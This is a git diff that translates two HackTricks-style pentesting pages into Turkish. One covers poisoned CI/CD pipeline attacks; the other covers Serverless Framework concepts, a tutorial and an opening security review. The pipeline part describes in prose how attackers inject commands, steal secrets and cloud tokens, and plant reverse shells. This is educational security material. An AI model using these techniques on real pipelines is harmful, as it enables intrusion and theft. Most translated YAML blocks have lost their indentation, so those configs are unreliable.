+- **D-PPE**: **Doğrudan PPE** saldırısı, aktörün **yürütülecek CI yapılandırma** dosyasını değiştirdiği durumdur.
+- **I-DDE**: **Dolaylı PPE** saldırısı, aktörün **yürütülecek CI yapılandırma dosyasının** dayandığı bir **dosyayı** değiştirdiği durumdur (örneğin bir make dosyası veya bir terraform yapılandırması).
+- **Halka Açık PPE veya 3PE**: Bazı durumlarda, boru hatları **repo'da yazma erişimi olmayan kullanıcılar tarafından tetiklenebilir** (ve bu kullanıcılar belki de organizasyonun bir parçası bile olmayabilir) çünkü bir PR gönderebilirler.
+- **3PE Komut Enjeksiyonu**: Genellikle, CI/CD boru hatları **PR hakkında bilgi içeren ortam değişkenleri** ayarlayacaktır. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (örneğin PR'nin başlığı gibi) ve **tehlikeli bir yerde** (örneğin **sh komutları** yürütmek gibi) kullanılıyorsa, bir saldırgan **orada komut enjekte edebilir**.
-### Exploitation Benefits
+### Sömürü Faydaları
-Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
+Bir boru hattını zehirlemenin 3 çeşidini bildiğimizde, başarılı bir sömürüden sonra bir saldırganın elde edebileceği şeylere bakalım:
-- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
-- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
-- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
+- **Sırları**: Daha önce belirtildiği gibi, boru hatları işlerinin yürütülmesi için **ayrıcalıklara** ihtiyaç duyar (kodu almak, inşa etmek, dağıtmak...) ve bu ayrıcalıklar genellikle **sırlarla verilir**. Bu sırlar genellikle **ortam değişkenleri veya sistem içindeki dosyalar aracılığıyla** erişilebilir. Bu nedenle, bir saldırgan her zaman mümkün olduğunca çok sır çıkarmaya çalışacaktır.
+- Saldırgan, boru hattı platformuna bağlı olarak **sırları yapılandırmada belirtmek zorunda kalabilir**. Bu, eğer saldırgan CI yapılandırma boru hattını değiştiremiyorsa (**I-PPE** örneğin), yalnızca o boru hattının sahip olduğu sırları **çıkartabileceği** anlamına gelir.
+- **Hesaplama**: Kod bir yerde yürütülür, nerede yürütüldüğüne bağlı olarak bir saldırgan daha ileriye geçebilir.
+- **Yerinde**: Eğer boru hatları yerinde yürütülüyorsa, bir saldırgan **daha fazla kaynağa erişimi olan bir iç ağa** girebilir.
+- **Bulut**: Saldırgan **buluttaki diğer makinelere** erişebilir ama aynı zamanda **IAM rolleri/hizmet hesapları** **tokenlarını** çıkartarak **bulut içinde daha fazla erişim** elde edebilir.
+- **Platform makinesi**: Bazen işler **boru hattı platform makineleri** içinde yürütülür, bu makineler genellikle **daha fazla erişim** olmadan bir bulut içindedir.
+- **Seçin:** Bazen **boru hattı platformu birkaç makineyi yapılandırmış olacaktır** ve eğer CI yapılandırma dosyasını **değiştirebilirseniz**, kötü niyetli kodu nerede çalıştırmak istediğinizi **belirtebilirsiniz**. Bu durumda, bir saldırgan muhtemelen her olası makinede bir ters kabuk çalıştırarak daha fazla sömürü sağlamaya çalışacaktır.
+- **Üretimi tehlikeye atmak**: Eğer boru hattı içindeyseniz ve nihai versiyon buradan inşa edilip dağıtılıyorsa, **üretimde çalışacak kodu tehlikeye atabilirsiniz**.
-## More relevant info
+## Daha Fazla İlgili Bilgi
-### Tools & CIS Benchmark
+### Araçlar & CIS Benchmark
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench), yeni bir [**CIS Yazılım Tedarik Zinciri benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde güvenlik uyumluluğu için yazılım tedarik zinciri yığınınızı denetlemek için açık kaynak bir araçtır. Denetim, kod zamanından dağıtım zamanına kadar riskleri ortaya çıkarabileceği tüm SDLC sürecine odaklanır.
-### Top 10 CI/CD Security Risk
+### En İyi 10 CI/CD Güvenlik Riski
-Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Cider'a göre en iyi 10 CI/CD riski hakkında bu ilginç makaleyi kontrol edin: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
-### Labs
+### Laboratuvarlar
-- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
-- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- Yerel olarak çalıştırabileceğiniz her platformda, test etmek için istediğiniz gibi yapılandırabileceğiniz şekilde yerel olarak nasıl başlatılacağını bulacaksınız.
+- Gitea + Jenkins laboratuvarı: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
-### Automatic Tools
+### Otomatik Araçlar
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**, altyapı olarak kod için statik kod analizi aracıdır.
-## References
+## Referanslar
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index bf1343702..d468270e3 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -1,303 +1,274 @@
-# Serverless.com Security
+# Serverless.com Güvenliği
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-### Organization
+### Organizasyon
-An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications.
+Bir **Organizasyon**, Serverless Framework ekosistemindeki en yüksek düzeydeki varlıktır. Birden fazla projeyi, takımı ve uygulamayı kapsayan bir **kolektif grup** olarak bir şirketi, departmanı veya herhangi bir büyük varlığı temsil eder.
-### Team
+### Takım
-The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings.
+**Takım**, organizasyon içinde erişimi olan kullanıcılardır. Takımlar, üyeleri rollere göre organize etmeye yardımcı olur. **`İşbirlikçileri`**, mevcut uygulamaları görüntüleyip dağıtabilirken, **`Yöneticiler`** yeni uygulamalar oluşturabilir ve organizasyon ayarlarını yönetebilir.
-### Application
+### Uygulama
-An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality.
+Bir **Uygulama**, bir Organizasyon içindeki ilgili hizmetlerin mantıksal bir gruplamasıdır. Birlikte çalışarak uyumlu bir işlevsellik sağlamak için bir araya gelen birden fazla sunucusuz hizmetten oluşan tam bir uygulamayı temsil eder.
-### **Services**
-
-A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables.
+### **Hizmetler**
+Bir **Hizmet**, bir Sunucusuz uygulamanın temel bileşenidir. Tüm sunucusuz projenizi temsil eder, gerekli tüm işlevleri, yapılandırmaları ve kaynakları kapsar. Genellikle bir `serverless.yml` dosyasında tanımlanır; bir hizmet, hizmet adı, sağlayıcı yapılandırmaları, işlevler, olaylar, kaynaklar, eklentiler ve özel değişkenler gibi meta verileri içerir.
```yaml
service: my-service
provider:
- name: aws
- runtime: nodejs14.x
+name: aws
+runtime: nodejs14.x
functions:
- hello:
- handler: handler.hello
+hello:
+handler: handler.hello
```
-
-Function
+Fonksiyon
-A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events.
-
-It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings.
+Bir **Fonksiyon**, bir AWS Lambda fonksiyonu gibi tek bir sunucusuz fonksiyonu temsil eder. Olaylara yanıt olarak yürütülen kodu içerir.
+`serverless.yml` dosyasındaki `functions` bölümünde tanımlanır ve işleyici, çalışma zamanı, olaylar, ortam değişkenleri ve diğer ayarları belirtir.
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
```
-
-Event
+Olay
-**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed.
-
-Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more.
+**Olaylar**, sunucusuz işlevlerinizi tetikleyen tetikleyicilerdir. Bir işlevin nasıl ve ne zaman çalıştırılacağını tanımlar.
+Yaygın olay türleri arasında HTTP istekleri, planlı olaylar (cron işleri), veritabanı olayları, dosya yüklemeleri ve daha fazlası bulunur.
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- - schedule:
- rate: rate(10 minutes)
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+- schedule:
+rate: rate(10 minutes)
```
-
-Resource
+Kaynak
-**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles.
-
-They are specified under the `resources` section, often using CloudFormation syntax for AWS.
+**Kaynaklar**, hizmetinizin bağımlı olduğu ek bulut kaynaklarını tanımlamanıza olanak tanır, örneğin veritabanları, depolama kovaları veya IAM rolleri.
+`resources` bölümünde belirtilir, genellikle AWS için CloudFormation sözdizimi kullanılarak.
```yaml
resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- TableName: my-table
- AttributeDefinitions:
- - AttributeName: id
- AttributeType: S
- KeySchema:
- - AttributeName: id
- KeyType: HASH
- ProvisionedThroughput:
- ReadCapacityUnits: 1
- WriteCapacityUnits: 1
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+TableName: my-table
+AttributeDefinitions:
+- AttributeName: id
+AttributeType: S
+KeySchema:
+- AttributeName: id
+KeyType: HASH
+ProvisionedThroughput:
+ReadCapacityUnits: 1
+WriteCapacityUnits: 1
```
-
-Provider
+Sağlayıcı
-The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
-
-It includes details like the runtime, region, stage, and credentials.
+**Sağlayıcı** nesnesi, bulut hizmet sağlayıcısını (örneğin, AWS, Azure, Google Cloud) belirtir ve o sağlayıcıya ilişkin yapılandırma ayarlarını içerir.
+Çalışma zamanı, bölge, aşama ve kimlik bilgileri gibi ayrıntıları içerir.
```yaml
yamlCopy codeprovider:
- name: aws
- runtime: nodejs14.x
- region: us-east-1
- stage: dev
+name: aws
+runtime: nodejs14.x
+region: us-east-1
+stage: dev
```
-
-Stage and Region
-
-The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments.
+Aşama ve Bölge
+Aşama, hizmetinizin dağıtılabileceği farklı ortamları (örneğin, geliştirme, test, üretim) temsil eder. Ortama özgü yapılandırmalar ve dağıtımlar için olanak tanır.
```yaml
provider:
- stage: dev
+stage: dev
```
-
-The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations.
-
+Bölge, kaynaklarınızın dağıtılacağı coğrafi bölgeyi belirtir. Gecikme, uyumluluk ve kullanılabilirlik açısından önemlidir.
```yaml
provider:
- region: us-west-2
+region: us-west-2
```
-
-Plugins
-
-**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm.
+Eklentiler
+**Eklentiler**, Serverless Framework'ün işlevselliğini yeni özellikler ekleyerek veya diğer araçlar ve hizmetlerle entegre olarak genişletir. `plugins` bölümünde tanımlanır ve npm aracılığıyla yüklenir.
```yaml
plugins:
- - serverless-offline
- - serverless-webpack
+- serverless-offline
+- serverless-webpack
```
-
-Layers
-
-**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions.
+Katmanlar
+**Katmanlar**, paylaşılan kodu veya bağımlılıkları işlevlerinizden ayrı olarak paketlemenize ve yönetmenize olanak tanır. Bu, yeniden kullanılabilirliği teşvik eder ve dağıtım paketlerinin boyutunu azaltır. `layers` bölümünde tanımlanır ve işlevler tarafından referans gösterilir.
```yaml
layers:
- commonLibs:
- path: layer-common
+commonLibs:
+path: layer-common
functions:
- hello:
- handler: handler.hello
- layers:
- - { Ref: CommonLibsLambdaLayer }
+hello:
+handler: handler.hello
+layers:
+- { Ref: CommonLibsLambdaLayer }
+```
+
+
+
+
+Değişkenler ve Özel Değişkenler
+
+**Değişkenler**, yer tutucuların kullanımıyla dinamik yapılandırmayı mümkün kılar; bu yer tutucular dağıtım zamanında çözülür.
+
+- **Sözdizimi:** `${variable}` sözdizimi, ortam değişkenlerine, dosya içeriklerine veya diğer yapılandırma parametrelerine atıfta bulunabilir.
+
+```yaml
+functions:
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
+```
+
+* **Özel Değişkenler:** `custom` bölümü, `serverless.yml` dosyası boyunca yeniden kullanılabilecek kullanıcıya özgü değişkenleri ve yapılandırmaları tanımlamak için kullanılır.
+
+```yaml
+custom:
+tableName: my-dynamodb-table
+stage: ${opt:stage, 'dev'}
```
-Variables and Custom Variables
-
-**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time.
-
-- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
-
- ```yaml
- functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
- ```
-
-* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
-
- ```yaml
- custom:
- tableName: my-dynamodb-table
- stage: ${opt:stage, 'dev'}
- ```
-
-
-
-
-
-Outputs
-
-**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment.
+Çıktılar
+**Çıktılar**, bir hizmet dağıtıldıktan sonra döndürülen değerleri tanımlar; bu değerler kaynak ARN'leri, uç noktalar veya diğer yararlı bilgiler olabilir. `outputs` bölümünde belirtilir ve genellikle diğer hizmetlere bilgi sağlamak veya dağıtım sonrası kolay erişim için kullanılır.
```yaml
¡outputs:
- ApiEndpoint:
- Description: "API Gateway endpoint URL"
- Value:
- Fn::Join:
- - ""
- - - "https://"
- - Ref: ApiGatewayRestApi
- - ".execute-api."
- - Ref: AWS::Region
- - ".amazonaws.com/"
- - Ref: AWS::Stage
+ApiEndpoint:
+Description: "API Gateway endpoint URL"
+Value:
+Fn::Join:
+- ""
+- - "https://"
+- Ref: ApiGatewayRestApi
+- ".execute-api."
+- Ref: AWS::Region
+- ".amazonaws.com/"
+- Ref: AWS::Stage
```
-
-IAM Roles and Permissions
-
-**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions.
+IAM Rolleri ve İzinler
+**IAM Rolleri ve İzinler**, fonksiyonlarınız ve diğer kaynaklarınız için güvenlik kimlik bilgilerini ve erişim haklarını tanımlar. Gerekli izinleri belirtmek için `provider` veya bireysel fonksiyon ayarları altında yönetilir.
```yaml
provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
-
-Environment Variables
-
-**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions.
+Ortam Değişkenleri
+**Değişkenler**, yapılandırma ayarlarını ve gizli bilgileri işlevlerinize sabit kodlama yapmadan geçirmenizi sağlar. Bunlar, sağlayıcı veya bireysel işlevler için `environment` bölümünde tanımlanır.
```yaml
provider:
- environment:
- STAGE: ${self:provider.stage}
+environment:
+STAGE: ${self:provider.stage}
functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
```
-
-Dependencies
-
-**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`.
+Bağımlılıklar
+**Bağımlılıklar**, fonksiyonlarınızın ihtiyaç duyduğu dış kütüphaneleri ve modülleri yönetir. Genellikle npm veya pip gibi paket yöneticileri aracılığıyla yönetilir ve `serverless-webpack` gibi araçlar veya eklentiler kullanılarak dağıtım paketinizle birleştirilir.
```yaml
plugins:
- - serverless-webpack
+- serverless-webpack
```
-
Hooks
-**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments.
-
+**Hooks**, dağıtım yaşam döngüsündeki belirli noktalarda özel betikler veya komutlar çalıştırmanıza olanak tanır. Dağıtımlardan önce veya sonra eylemler gerçekleştirmek için `serverless.yml` içinde veya eklentiler kullanılarak tanımlanırlar.
```yaml
custom:
- hooks:
- before:deploy:deploy: echo "Starting deployment..."
+hooks:
+before:deploy:deploy: echo "Starting deployment..."
```
-
### Tutorial
-This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
-
-1. Create an AWS account (Serverless.com start in AWS infrastructure)
-2. Create an account in serverless.com
-3. Create an app:
+Bu, resmi öğreticinin bir özetidir [**belgelerden**](https://www.serverless.com/framework/docs/tutorial):
+1. Bir AWS hesabı oluşturun (Serverless.com AWS altyapısında başlar)
+2. serverless.com'da bir hesap oluşturun
+3. Bir uygulama oluşturun:
```bash
# Create temp folder for the tutorial
mkdir /tmp/serverless-tutorial
@@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-
-This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function:
+Bu, [serverless.com](serverless.com-security.md) adresinde kontrol edebileceğiniz `tutorialapp` adında bir **uygulama** ve `helloworld` kodunu içeren bazı JS kodlarıyla birlikte **`handler.js`** dosyasını içeren `Tutorial` adında bir klasör oluşturmuş olmalıdır ve bu fonksiyonu beyan eden **`serverless.yml`** dosyası:
{{#tabs }}
{{#tab name="handler.js" }}
-
```javascript
exports.hello = async (event) => {
- return {
- statusCode: 200,
- body: JSON.stringify({
- message: "Go Serverless v4! Your function executed successfully!",
- }),
- }
+return {
+statusCode: 200,
+body: JSON.stringify({
+message: "Go Serverless v4! Your function executed successfully!",
+}),
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -342,130 +309,122 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
+name: aws
+runtime: nodejs20.x
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
```
-
{{#endtab }}
{{#endtabs }}
-4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
- 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
- 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role.
+4. Bir AWS sağlayıcısı oluşturun, `https://app.serverless.com//settings/providers?providerId=new&provider=aws` adresindeki **dashboard**'a giderek.
+1. `serverless.com`'a AWS erişimi vermek için, bu yapılandırma dosyasını kullanarak bir cloudformation yığını çalıştırmanızı isteyecektir (bu yazının yazıldığı sırada): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. Bu şablon, **`SFRole-`** adında bir rol oluşturur ve bu rol, `Serverless.com` AWS hesabının bu role erişmesine izin veren bir Güven İlişkisi ile birlikte **`arn:aws:iam::aws:policy/AdministratorAccess`** üzerinde hesap için geçerlidir.
Yaml roleTemplate
-
```yaml
Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments.
Resources:
- SFRole:
- Type: AWS::IAM::Role
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- AWS: arn:aws:iam::486128539022:root
- Action:
- - sts:AssumeRole
- Condition:
- StringEquals:
- sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
- Path: /
- RoleName: !Ref RoleName
- ManagedPolicyArns:
- - arn:aws:iam::aws:policy/AdministratorAccess
- ReporterFunction:
- Type: Custom::ServerlessFrameworkReporter
- Properties:
- ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
- OrgUid: !Ref OrgUid
- RoleArn: !GetAtt SFRole.Arn
- Alias: !Ref Alias
+SFRole:
+Type: AWS::IAM::Role
+Properties:
+AssumeRolePolicyDocument:
+Version: "2012-10-17"
+Statement:
+- Effect: Allow
+Principal:
+AWS: arn:aws:iam::486128539022:root
+Action:
+- sts:AssumeRole
+Condition:
+StringEquals:
+sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
+Path: /
+RoleName: !Ref RoleName
+ManagedPolicyArns:
+- arn:aws:iam::aws:policy/AdministratorAccess
+ReporterFunction:
+Type: Custom::ServerlessFrameworkReporter
+Properties:
+ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
+OrgUid: !Ref OrgUid
+RoleArn: !GetAtt SFRole.Arn
+Alias: !Ref Alias
Outputs:
- SFRoleArn:
- Description: "ARN for the IAM Role used by Serverless Framework"
- Value: !GetAtt SFRole.Arn
+SFRoleArn:
+Description: "ARN for the IAM Role used by Serverless Framework"
+Value: !GetAtt SFRole.Arn
Parameters:
- OrgUid:
- Description: Serverless Framework Org Uid
- Type: String
- Alias:
- Description: Serverless Framework Provider Alias
- Type: String
- RoleName:
- Description: Serverless Framework Role Name
- Type: String
+OrgUid:
+Description: Serverless Framework Org Uid
+Type: String
+Alias:
+Description: Serverless Framework Provider Alias
+Type: String
+RoleName:
+Description: Serverless Framework Role Name
+Type: String
```
-
-Trust Relationship
-
+Güven İlişkisi
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::486128539022:root"
- },
- "Action": "sts:AssumeRole",
- "Condition": {
- "StringEquals": {
- "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::486128539022:root"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
+}
+}
+}
+]
}
```
-
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas.
+5. Eğitim, temel olarak yeni bir API uç noktası oluşturacak olan `createCustomer.js` dosyasını oluşturmanızı ve oluşturulan lambdaları kullanacak rolü tanımlamak için **yeni bir DynamoDB tablosu** oluşturacak şekilde `serverless.yml` dosyasını değiştirmenizi istiyor.
{{#tabs }}
{{#tab name="createCustomer.js" }}
-
```javascript
"use strict"
const AWS = require("aws-sdk")
module.exports.createCustomer = async (event) => {
- const body = JSON.parse(Buffer.from(event.body, "base64").toString())
- const dynamoDb = new AWS.DynamoDB.DocumentClient()
- const putParams = {
- TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
- Item: {
- primary_key: body.name,
- email: body.email,
- },
- }
- await dynamoDb.put(putParams).promise()
- return {
- statusCode: 201,
- }
+const body = JSON.parse(Buffer.from(event.body, "base64").toString())
+const dynamoDb = new AWS.DynamoDB.DocumentClient()
+const putParams = {
+TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
+Item: {
+primary_key: body.name,
+email: body.email,
+},
+}
+await dynamoDb.put(putParams).promise()
+return {
+statusCode: 201,
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -475,388 +434,379 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
- environment:
- DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
- iam:
- role:
- statements:
- - Effect: "Allow"
- Action:
- - "dynamodb:PutItem"
- - "dynamodb:Get*"
- - "dynamodb:Scan*"
- - "dynamodb:UpdateItem"
- - "dynamodb:DeleteItem"
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+name: aws
+runtime: nodejs20.x
+environment:
+DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
+iam:
+role:
+statements:
+- Effect: "Allow"
+Action:
+- "dynamodb:PutItem"
+- "dynamodb:Get*"
+- "dynamodb:Scan*"
+- "dynamodb:UpdateItem"
+- "dynamodb:DeleteItem"
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
- createCustomer:
- handler: createCustomer.createCustomer
- events:
- - httpApi:
- path: /
- method: post
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
+createCustomer:
+handler: createCustomer.createCustomer
+events:
+- httpApi:
+path: /
+method: post
resources:
- Resources:
- CustomerTable:
- Type: AWS::DynamoDB::Table
- Properties:
- AttributeDefinitions:
- - AttributeName: primary_key
- AttributeType: S
- BillingMode: PAY_PER_REQUEST
- KeySchema:
- - AttributeName: primary_key
- KeyType: HASH
- TableName: ${self:service}-customerTable-${sls:stage}
+Resources:
+CustomerTable:
+Type: AWS::DynamoDB::Table
+Properties:
+AttributeDefinitions:
+- AttributeName: primary_key
+AttributeType: S
+BillingMode: PAY_PER_REQUEST
+KeySchema:
+- AttributeName: primary_key
+KeyType: HASH
+TableName: ${self:service}-customerTable-${sls:stage}
```
-
{{#endtab }}
{{#endtabs }}
-6. Deploy it running **`serverless deploy`**
- 1. The deployment will be performed via a CloudFormation Stack
- 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs
-7. **Test it**
- 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed
+6. **`serverless deploy`** komutunu çalıştırarak dağıtımı yapın
+1. Dağıtım, bir CloudFormation Stack aracılığıyla gerçekleştirilecektir
+2. **lambdaların API gateway aracılığıyla** ve doğrudan URL'ler aracılığıyla değil, açık olduğunu unutmayın
+7. **Test edin**
+1. Önceki adım, API uç noktalarınızın lambda fonksiyonlarının dağıtıldığı **URL'leri** yazdıracaktır
-## Security Review of Serverless.com
+## Serverless.com Güvenlik İncelemesi
-### **Misconfigured IAM Roles and Permissions**
+### **Yanlış Yapılandırılmış IAM Rolleri ve İzinleri**
-Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation.
+Aşırı izinli IAM rolleri, bulut kaynaklarına yetkisiz erişim sağlayabilir ve bu da veri ihlallerine veya kaynak manipülasyonuna yol açabilir.
